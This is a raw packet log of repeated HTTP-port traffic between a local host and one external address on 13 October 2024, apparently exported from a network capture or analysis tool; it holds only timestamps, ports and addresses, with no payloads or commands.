Oct 13, 2024 14:49:24.500087976 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.500083923 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.500109911 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.500150919 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.500581026 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.500596046 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.500611067 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.500618935 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.500626087 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.500639915 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.500652075 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.500654936 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.500669956 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.500682116 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.500684977 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.500700951 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.500704050 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.500715017 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.500729084 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.500735044 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.500742912 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.500755072 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.500758886 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.500773907 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.500776052 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.500787973 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.500802040 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.500802994 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.500818968 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.500823021 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.500843048 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.500874996 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.501097918 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.501111031 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.501126051 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.501142025 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.501140118 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.501157999 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.501167059 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.501167059 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.501188040 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.501204014 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.501240015 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.501255035 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.501267910 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.501281977 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.501290083 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.501296997 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.501312017 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.501312971 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.501332998 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.501338005 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.501353979 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.501368999 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.501367092 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.501384020 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.501390934 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.501399040 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.501406908 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.501413107 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.501427889 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.501432896 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.501444101 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.501457930 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.501465082 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.501473904 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.501486063 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.501487017 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.501502991 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.501507044 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.501518011 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.501527071 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.501533031 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.501559973 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.501574039 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.502237082 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.502252102 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.502265930 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.502273083 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.502280951 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.502296925 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.502304077 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.502319098 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.502334118 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.502334118 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.502350092 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.502353907 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.502363920 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.502379894 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.502384901 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.502394915 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.502405882 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.502409935 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.502425909 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.502437115 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.502443075 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.502456903 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.502463102 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.502471924 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.502480984 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.502485991 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.502502918 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.502511024 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.502516985 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.502527952 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.502532959 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.502547026 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.502553940 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.502562046 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.502573967 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.502577066 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.502592087 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.502604008 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.502623081 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.502649069 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.503000975 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.503017902 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.503031015 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.503038883 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.503066063 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.503084898 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.588176966 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.588192940 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.588207960 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.588280916 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.588294983 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.588305950 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.588310957 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.588327885 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.588339090 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.588359118 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.588393927 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.588515043 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.588530064 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.588545084 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.588555098 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.588560104 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.588574886 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.588578939 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.588591099 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.588594913 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.588606119 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.588613987 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.588620901 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.588637114 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.588643074 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.588643074 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.588664055 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.588702917 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.588886023 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.588900089 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.588913918 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.588928938 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.588936090 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.588943005 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.588958025 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.588959932 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.588959932 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.588973045 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.588980913 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.588995934 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.589006901 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.589006901 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.589011908 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.589027882 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.589034081 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.589034081 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.589057922 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.589072943 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.589262009 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.589277029 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.589291096 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.589297056 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.589306116 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.589318037 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.589322090 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.589334011 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.589338064 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.589355946 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.589360952 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.589360952 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.589368105 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.589387894 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.589402914 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.589421034 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.589598894 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.589615107 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.589629889 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.589637995 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.589643955 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.589654922 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.589659929 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.589674950 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.589683056 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.589683056 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.589689970 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.589704990 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.589709997 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.589720011 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.589725971 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.589734077 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.589750051 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.589751959 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.589752913 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.589764118 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.589772940 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.589792967 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.589829922 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.590033054 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.590048075 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.590063095 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.590070963 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.590078115 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.590091944 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.590092897 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.590109110 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.590112925 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.590123892 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.590128899 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.590137005 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.590152979 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.590157032 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.590157032 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.590167999 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.590178013 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.590183973 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.590203047 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.590226889 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.590603113 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.590620995 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.590636015 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.590651035 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.590652943 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.590666056 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.590673923 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.590681076 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.590703011 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.590706110 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.590727091 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.590759039 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.632921934 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.637676001 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.860491037 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.860508919 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.860553026 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.860583067 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.860801935 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.860827923 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.860847950 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.860852957 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.860866070 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.860891104 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.860903025 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.860918999 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.860944033 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.860958099 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.861011028 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.861026049 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.861041069 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.861048937 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.861073971 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.861083984 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.861176014 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.861191034 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.861207008 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.861217022 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.861222029 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.861238003 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.861241102 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.861253977 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.861259937 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.861310959 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.861392975 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.861423016 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.861438990 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.861447096 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.861463070 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.861469030 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.861479044 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.861485004 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.861495972 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.861500025 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.861511946 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.861522913 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.861546993 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.861572981 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.861742973 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.861758947 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.861773968 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.861780882 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.861788988 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.861800909 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.861804962 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.861818075 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.861820936 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.861839056 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.861866951 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.861984015 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.861999035 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.862013102 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.862021923 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.862026930 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.862042904 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.862052917 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.862057924 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.862081051 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.862102985 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.862281084 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.862297058 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.862324953 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.862338066 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.862348080 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.862354040 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.862369061 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.862382889 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.862390995 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.862397909 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.862402916 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.862412930 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.862428904 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.862443924 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.862447977 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.862458944 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.862461090 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.862473011 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.862479925 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.862518072 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.862803936 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.862819910 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.862835884 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.862850904 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.862852097 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.862865925 CEST	80	49720	185.215.113.37	192.168.2.6
